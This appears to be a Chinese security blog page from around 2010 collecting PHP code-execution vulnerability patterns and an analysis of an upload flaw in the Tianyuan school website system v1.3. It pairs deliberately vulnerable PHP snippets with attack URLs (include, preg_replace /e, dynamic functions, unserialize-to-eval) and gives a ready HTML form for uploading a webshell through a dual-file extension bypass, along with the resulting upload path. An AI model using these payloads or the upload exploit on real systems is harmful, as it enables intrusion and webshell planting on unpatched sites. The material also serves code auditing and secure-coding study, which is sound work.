#
http://www.abysssec.com/blog/2010/03/attention-in-php-source-code-auditing/
http://code.google.com/p/pasc2at/wiki/SimplifiedChinese
摘要: 学习资源:http://www.fortify.comhttp://wikipedia.comhttp://www.madirish.nethttp://www.owasp.orghttp://samate.nist.gov/http://searchsecuritychannel.techtarget.com/http://www.webappsec.orghttp://phpsec.org高级...
阅读全文
PHP代码执行漏洞总结
时间:2010-08-30 14:05来源:百度 作者:menzhi007 点击:110次
总结的很全面的一篇关于php漏洞方面的文章,学习,by daokers
PHP安全爱好者的盛宴the Month of PHP Security 。拜读php-security上的很多牛文,发出来共享下啦,都是偶像哇。
From:http://hi.baidu.com/menzhi007
一 代码执行函数
PHP中可以执行代码的函数。如eval()、assert()、``、system()、exec()、shell_exec()、passthru()、 escapeshellcmd()、pcntl_exec() 等
demo code 1.1:
<?php echo `dir`; ?>
二 文件包含代码注射
文件包含函数在特定条件下的代码注射,如include()、include_once()、 require()、require_once()。
当allow_url_include=On ,PHP Version>=5.2.0 时,导致代码注射。
demo code 2.1:
<?php include($_GET['a']); ?>
访问http://127.0.0.1/include.php?a=data:text/plain,%3C?php%20phpinfo%28%29;?%3E 即 执行phpinfo()。
三 正则匹配代码注射
众所周知的preg_replace()函数导致的代码注射。当pattern中存在/e模式修饰符,即允许执行代码。这里我们分三种情况讨论下
3.1 preg_replace() pattern 参数注射
pattern即第一个参数的代码注射。 当magic_quotes_gpc=Off时,导致代码执行。
demo code 3.1:
<?php echo $regexp = $_GET['reg']; $var = '<php>phpinfo()</php>'; preg_replace("/<php>(.*?)$regexp", '\\1', $var); ?>
访问http://127.0.0.1/preg_replace1.php?reg=%3C\/php%3E/e 即 执行phpinfo()。
3.2 preg_replace() replacement参数注射
replacement即第二个参数的代码注射,导致代码执行。
demo code 3.2:
<? preg_replace("/menzhi007/e",$_GET['h'],"jutst test menzhi007!"); ?>
当我们提交 http://127.0.0.1/preg_replace2.php?h=phpinfo() 即 执行phpinfo()。
3.3 preg_replace()第三个参数注射
我们通过构造subject参数执行代码。提交:http://127.0.0.1/preg_replace3.php?h=[php]phpinfo()[/php]
或者 http://127.0.0.1/preg_replace3.php?h=[php]${phpinfo%28%29}[/php] 导致代码执行
demo code 3.3:
<? preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET['h']); ?>
四 动态代码执行
4.1 动态变量代码执行
demo code 4.1:
<?php $dyn_func = $_GET['dyn_func']; $argument = $_GET['argument']; $dyn_func($argument); ?>
我们提交 http://127.0.0.1/dyn_func.php?dyn_func=system&argument=ipconfig 执行ipconfig命令
4.2 动态函数代码执行
demo code 4.2:
<?php $foobar = $_GET['foobar']; $dyn_func = create_function('$foobar', "echo $foobar;"); $dyn_func(''); ?>
我们提交 http://127.0.0.1/create_function.php?foobar=system%28dir%29 执行dir命令
五 其他
5.1 ob_start()函数的代码执行
demo code 5.1:
<?php $foobar = 'system'; ob_start($foobar); echo 'dir'; ob_end_flush(); ?>
5.2 array_map()函数的代码执行
demo code 5.2:
<?php $evil_callback = $_GET['callback']; $some_array = array(0, 1, 2, 3); $new_array = array_map($evil_callback, $some_array); ?>
我们提交 http://127.0.0.1/array_map.php?callback=phpinfo 即执行phpinfo()。
5.3 unserialize()与eval()
unserialize()是PHP中使用率非常高的函数。不正当使用unserialize()容易导致安全隐患。 (黑哥那个挑战2 http://hi.baidu.com/hi_heige/blog/item/505b2828da5b18f499250a9b.html)
demo code 5.3:
<?php class Example { var $var = ''; function __destruct() { eval($this->var); } } unserialize($_GET['saved_code']);
?> 我们提交 http://127.0.0.1/unserialize.php?saved_code=O:7:%22Example%22:1:{s:3:%22var%22;s:10:%22phpinfo%28%29;%22;} 即执行phpinfo()。
5.4 容易导致安全问题的函数
同类型函数还有很多 array_map() usort(), uasort(), uksort() array_filter() array_reduce() array_diff_uassoc(), array_diff_ukey() array_udiff(), array_udiff_assoc(), array_udiff_uassoc() array_intersect_assoc(), array_intersect_uassoc() array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc() array_walk(), array_walk_recursive() xml_set_character_data_handler() xml_set_default_handler() xml_set_element_handler() xml_set_end_namespace_decl_handler() xml_set_external_entity_ref_handler() xml_set_notation_decl_handler() xml_set_processing_instruction_handler() xml_set_start_namespace_decl_handler() xml_set_unparsed_entity_decl_handler() stream_filter_register() set_error_handler() register_shutdown_function() register_tick_function()
参考自:http://php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html |
摘要: 某酒店预定管理系统漏洞分析时间:2010-08-26 18:30来源:刀客城 作者:anliou 点击:221次首先在后台admin目录下的 checkadmin.asp中 ,直接看代码 % dimadmin_name,admin_pwd admin_name=trim(request( admin_name )) admin_pwd=trim(request( admin_p...
阅读全文
天缘学校网站系统v1.3上传漏洞分析与利用
时间:2010-08-26 18:27来源:刀客城 作者:anliou 点击:243次
最近一直在研究ASP方面的漏洞,从网上随便找了一套源码下载下来《天缘学校网站系统V1.3》貌似还应该是最新版本的吧,看看有没有什么漏洞可以利用,就有了今天此文。
最近一直在研究ASP方面的漏洞,从网上随便找了一套源码下载下来《天缘学校网站系统V1.3》貌似还应该是最新版本的吧,看看有没有什么漏洞可以利用,就有了今天此文。 研究漏洞我最喜欢用比较直接的方式能得到网站webshell的漏洞,比如说上传,数据库是asp或者asa格式的,这样可以不用进后台就能拿到webshell了。 下载下来之后,首先观察数据库,发现时.mdb后缀的,这样一句话插数据库就没用了,那打开admin目录,发现有一个upload.asp,这个文件是提交并对提交的文件进行判断的,里面有这么一句 if Uprequest.form("file_Err")<>0 then select case Uprequest.form("file_Err") 不过我看了半天也没看出来这个 file_Err读取的是什么,(本人很菜的)那就去前台的目录好好找找看有没有利用的地方吧。 在前台同时也发现了这个文件 Upload_Photo.asp 打开查看源文件之后发现提交到的地址是 Upfile_Photo.asp 打开Upfile_Photo.asp的源代码,发现程序没有对用户身份进行判断,这样如果程序存在上传我们就可以直接提交我们的木马了, 继续往下看,越看感觉越眼熟。我贴出发生漏洞的代码吧 - for i=0 to ubound(arrUpFileType) ‘对文件的后缀进行判断,如果属于程序要求的后缀,那么就将 EnableUpload变量置为True
- if fileEXT=trim(arrUpFileType(i)) then
- EnableUpload=true
- exit for
- end if
- next
- if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then \
- EnableUpload=false \
- end if
- if EnableUpload=false then
- msg="这种文件类型不允许上传!nn只允许上传这几种文件类型:" & UpFileType
- FoundErr=true \
- end if
-
- strJS="<SCRIPT language=javascript>" & vbcrlf
- if FoundErr<>true then
-
- randomize
- ranNum=int(900*rnd)+100 \
- filename="big"&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
- smallfilename=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
- ofile.SaveToFile Server.mappath(SavePath&filename) \
这不就是以前那个动易的上传漏洞吗?由于这个化境无组件上传可以上传多个文件,我们可以通过上传同时两个不同后缀的文件来绕过判断,从而将我们的木马直接提交到服务器上。 这是利用代码: <form action="[url=http://127.0.0.1/Upfile_Photo.asp]http://127.0.0.1/Upfile_Photo.asp[/url]" method="post" name="form1" enctype="multipart/form-data"> \'其中127.0.0.1要改成你要提交的域名URL. <input name="FileName" type="FILE" class="tx1" size="21" > <input name="FileName1" type="FILE" class="tx1" size="21" > <input type="submit" name="Submit" value="上传" style="border:1px double rgb(88,88,88);font:9pt"> <input name="PhotoUrlID" type="hidden" id="PhotoUrlID" value="1"> </form> 其中第一个文件名里面要填写符合程序要求的后缀文件,比如说.jpg、.gif等等。 第二个我们可以使用cer的后缀,其实也可以直接使用asp或者asa的文件进行上传,不过要再上传的时候在其后面加一个空格或者加一个点这样才能成功(貌似IE8.0能加空格)。具体原因,可以通过其源码进行分析。 既然有上传漏洞这种简单的能拿到webshell的方法了,其他的也就不去分析了。呵呵,虽然本文技术含量不高,而且是老的不能再老的漏洞了,但笔者可是写的很是辛苦啊(第一次写这种漏洞分析的文章),望刀城的贵人们多赏几个刀币啊 谢谢了。 忘了说了,上传之后路径是这里:/uploadfile/image/ 由原创作者anliou首发:刀客城 《天缘学校网站系统 v1.3存在上传漏洞》
2010.07-26 (责任编辑:admin) |
A, 手工提取数据 ---存操作 --修改操作
B,网页植入MYSQL操作
C,MYSQL语句
D,MYSQL配置
------D,操作软件
A,
B,
C,
D,
各种漏洞
基础--数据库操作
防注入
资料提交--修改
---
上传过滤
---
配置写入
--------
资料搜索--
------
备份
---------
读源码漏洞
---
国内代码防注
---
一,注入开始横扫
漏洞挖掘之旅
防注入防火,
数据--输入
验证
显示
--------
实践是最好的真理
基础
---
常用
---
漏洞审计:
A,注入
B,上传
C,备份
D,源码下载
E,远程命令
F,文件包含
G,配置写入